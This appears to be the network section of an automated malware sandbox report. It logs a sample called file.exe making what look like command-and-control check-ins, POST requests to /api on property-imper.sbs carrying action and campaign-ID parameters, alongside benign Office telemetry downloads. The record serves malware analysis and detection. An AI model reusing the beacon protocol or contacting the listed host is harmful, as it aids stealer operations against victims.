Nov 24, 2024 05:11:41.413075924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 05:11:41.413085938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 05:11:41.413090944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 05:11:41.413098097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 05:11:41.413196087 CET	1236	IN	Data Raw: 36 3f b1 cb de 9c b7 00 55 eb b1 88 65 b1 0c db 39 58 1a 2b f8 c6 05 6b a9 21 e4 09 0f a6 7b 30 fd b3 5d af 14 84 3a eb 2d 6c ec d0 04 fa a7 0b 48 22 d0 da 8c 35 a5 16 56 c4 b2 14 46 2a 69 3d 44 3d c0 ca de 28 bc f2 fa d1 d0 10 68 db b2 bb 9c 14 Data Ascii: 6?Ue9X+k!{0]:-lH"5VF*i=D=(h/%DTT>36]0R?9As;hb:(&#t(_TxR"NL=Cc_8J28d=W'9X\|)+I7CuUCkiXS>=nHp
Nov 24, 2024 05:11:41.413207054 CET	1236	IN	Data Raw: ca 30 ca f0 22 30 ce 2c 39 0b 51 d1 5f d3 cb 59 97 cb c7 d4 e6 c6 e5 29 a8 a8 ed c0 42 f3 bd cb 98 cb fd 2a 36 93 01 ce 31 06 3c 49 41 30 0a cb 98 9f c9 98 e6 f7 19 df f4 5c 27 95 9a d3 25 32 e8 d4 5d b5 5f bf b4 42 41 b3 d5 cb d8 24 3e b9 d0 7b Data Ascii: 0"0,9Q_Y)B*61<IA0\'%2]_BA$>{EM-20VW+rGOHRG$DOxgfp+zg^#';F?k3J]='V#hB+N2'0ZN3+f"2_^s.B7k+S'
Nov 24, 2024 05:11:41.413216114 CET	1236	IN	Data Raw: 81 dd c0 c1 ec fb c9 3d 85 88 79 cb 4d 17 ba 5f 52 06 c8 98 92 20 ee 61 5d 99 fa e9 f3 1b 1c 6f fb c8 fb 9b 54 bc ef 0f c7 9a 9c 3e b8 25 fd 71 87 33 1e fb 62 96 38 ed 48 03 24 ed f7 e6 19 b6 d0 20 16 da 46 9a 0d c4 51 6d 5d cc da 40 e0 bc 15 09 Data Ascii: =yM_R a]oT>%q3b8H$ FQm]@gj:b!t9hhHaN9 23G@X-bQT%-x@-+EE&7l\00*2ya.JSU;A~RkoD:Fg
Nov 24, 2024 05:11:41.532793999 CET	1236	IN	Data Raw: 59 e8 90 65 af 27 ab 34 b4 5b ac 0f 7b 07 e8 2b 64 20 b4 8b 64 27 0a 39 67 cd 95 e1 61 28 97 dc 64 37 0c c7 97 24 58 7e e4 1c a6 92 83 76 c4 59 98 71 21 c0 81 95 d1 08 98 05 b8 ff fa e4 15 c7 6a 92 17 ce f4 e6 08 1a 17 d0 b6 7b 27 8a 1a 8e f8 1b Data Ascii: Ye'4[{+d d'9ga(d7$X~vYq!j{'ri>?;f\H(U #J<uO%j=z6g.-^`=R2#sU<^3;RFW0snJ\|,cQ[n5D5d5

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 04:11:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 04:11:20 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v8or2m2rte6j0bntimp9kld385; expires=Wed, 19-Mar-2025 21:57:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4u2Y%2F324aQaRnojc1HpWsqeKj9dqb8Bvy%2FZjdn1qpC%2BYst7u3yvmx45fhoDlWc2amgeuY0inrienyh8Q09ntxL4qdObH48ZdZfFZpw8QbHrAqjL6I5AoVjvfdOkikZeZAq94LXQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768de9c874c3fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1714621&cwnd=178&unsent_bytes=0&cid=7279c9b9dce2957a&ts=715&x=0"
2024-11-24 04:11:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 04:11:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:21 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041120Z-174c587ffdf6b487hC1TEBydsn00000003tg00000000g4as x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:21 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-24 04:11:21 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 04:11:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 04:11:22 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ltaku41n6sr5fi7l4ccig0c8on; expires=Wed, 19-Mar-2025 21:58:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2BT8lBfhmmIndo5mxGud9zlT1fx3YTuEt%2B13%2FOFVFOFkSLN2oCOhiOdGj8rTeIJ8R99SOUb3sBcAwjaWCQbJ%2Ftcp0%2Bdggs48Jb0K4dZ03jmzei0O2K7h9Y2y9o%2F9wjfTjqCEQ20%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768df69846de99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1544973&cwnd=149&unsent_bytes=0&cid=b5334ec4afb59b9d&ts=693&x=0"
2024-11-24 04:11:22 UTC	350	IN	Data Raw: 31 64 38 61 0d 0a 2b 52 39 57 48 4b 65 59 48 39 61 32 4a 54 30 39 36 62 73 47 65 51 49 4b 63 46 35 61 6d 79 38 35 58 34 54 6a 46 74 73 50 2f 6f 71 43 50 53 41 2b 6e 61 77 7a 39 4d 56 41 48 77 65 64 79 58 4d 63 4c 69 67 52 4f 6e 69 68 53 56 67 7a 39 34 59 36 2b 58 6d 54 71 4d 4e 35 4e 33 44 55 2f 54 50 30 30 31 30 66 42 37 4c 41 4a 42 78 73 4b 45 70 38 50 2f 46 4e 57 44 50 6d 67 6e 32 30 66 35 4c 70 6b 58 4d 78 64 4d 4c 37 65 37 66 61 53 46 68 59 6a 4e 70 73 46 32 74 6e 47 44 4e 34 74 77 31 63 4a 61 62 5a 4e 4a 5a 71 69 75 75 30 66 69 56 33 68 65 55 7a 72 5a 52 41 55 78 2f 54 6d 57 63 63 59 47 59 57 4f 6a 48 7a 52 31 45 37 35 34 64 38 71 32 61 59 34 70 46 39 4d 6e 58 49 38 6d 2b 36 30 45 39 54 58 6f 62 61 4a 46 55 67 62 77 70 38 59 4c 6b 65 61 54 37 33 6b Data Ascii: 1d8a+R9WHKeYH9a2JT096bsGeQIKcF5amy85X4TjFtsP/oqCPSA+nawz9MVAHwedyXMcLigROnihSVgz94Y6+XmTqMN5N3DU/TP0010fB7LAJBxsKEp8P/FNWDPmgn20f5LpkXMxdML7e7faSFhYjNpsF2tnGDN4tw1cJabZNJZqiuu0fiV3heUzrZRAUx/TmWccYGYWOjHzR1E754d8q2aY4pF9MnXI8m+60E9TXobaJFUgbwp8YLkeaT73k
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 4d 6e 44 45 39 33 32 6d 33 45 78 55 57 70 6e 53 62 52 5a 74 61 42 38 32 4e 2f 70 4e 58 44 66 73 6a 6e 36 39 59 4a 48 75 6d 33 31 30 4d 49 58 39 5a 66 53 4d 42 33 78 61 6d 39 35 6f 44 53 4a 53 55 69 4e 32 34 41 31 63 4d 61 62 5a 4e 4c 46 6f 6e 2b 75 51 63 6a 64 32 7a 75 68 39 70 74 4a 4b 57 6b 32 4e 33 47 6f 52 59 33 6f 59 4d 6a 37 36 52 46 41 30 34 34 5a 77 2b 53 50 63 37 34 4d 39 62 44 37 6b 39 33 61 34 33 6c 42 66 48 35 53 58 66 56 74 6e 5a 46 4a 6b 65 50 31 4d 58 7a 7a 69 6a 33 71 39 59 5a 72 6d 6c 6e 49 79 64 4d 58 39 64 37 7a 63 52 6c 4a 55 68 4e 6c 68 46 6d 52 75 48 6a 30 39 75 51 4d 62 4f 76 37 42 4c 50 6c 44 6d 2b 75 4a 50 77 46 39 79 2f 52 36 6f 70 52 59 45 55 62 4c 33 6d 68 62 4f 43 67 63 4f 54 66 72 54 45 6b 34 36 4a 4e 34 76 47 75 52 36 35 56 Data Ascii: MnDE932m3ExUWpnSbRZtaB82N/pNXDfsjn69YJHum310MIX9ZfSMB3xam95oDSJSUiN24A1cMabZNLFon+uQcjd2zuh9ptJKWk2N3GoRY3oYMj76RFA044Zw+SPc74M9bD7k93a43lBfH5SXfVtnZFJkeP1MXzzij3q9YZrmlnIydMX9d7zcRlJUhNlhFmRuHj09uQMbOv7BLPlDm+uJPwF9y/R6opRYEUbL3mhbOCgcOTfrTEk46JN4vGuR65V
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 2f 52 36 6f 70 52 59 45 55 62 4c 33 6d 68 62 4f 43 67 65 4e 54 6a 79 52 31 38 39 34 59 78 78 75 6d 71 66 35 5a 78 33 4f 6e 6e 42 39 6e 53 35 30 6b 64 59 57 34 37 4c 59 52 4a 73 5a 46 4a 79 65 50 35 56 47 32 57 6d 72 6e 4f 76 62 72 50 72 69 6e 52 30 59 59 76 6a 50 62 50 59 42 77 63 66 6a 4e 78 73 45 47 5a 67 45 69 34 39 39 30 5a 61 4e 2b 43 41 65 62 56 72 6e 4f 6d 62 65 7a 68 2b 77 76 31 76 70 74 46 42 54 56 58 4c 6c 79 51 63 65 43 68 4b 66 41 37 70 57 6b 6f 72 70 4c 52 33 74 32 4f 62 2f 74 74 69 65 6d 65 46 2f 58 48 30 6a 41 64 55 58 34 66 65 62 42 31 6b 59 42 30 7a 4d 65 74 4d 56 7a 50 30 68 6e 53 77 59 35 50 6b 6b 6e 41 7a 63 38 37 77 63 4c 44 54 52 68 38 52 79 39 35 38 57 7a 67 6f 4a 43 77 31 39 57 4e 51 4d 65 2f 42 61 2f 64 30 33 4f 2b 58 50 57 77 2b Data Ascii: /R6opRYEUbL3mhbOCgeNTjyR1894Yxxumqf5Zx3OnnB9nS50kdYW47LYRJsZFJyeP5VG2WmrnOvbrPrinR0YYvjPbPYBwcfjNxsEGZgEi4990ZaN+CAebVrnOmbezh+wv1vptFBTVXLlyQceChKfA7pWkorpLR3t2Ob/ttiemeF/XH0jAdUX4febB1kYB0zMetMVzP0hnSwY5PkknAzc87wcLDTRh8Ry958WzgoJCw19WNQMe/Ba/d03O+XPWw+
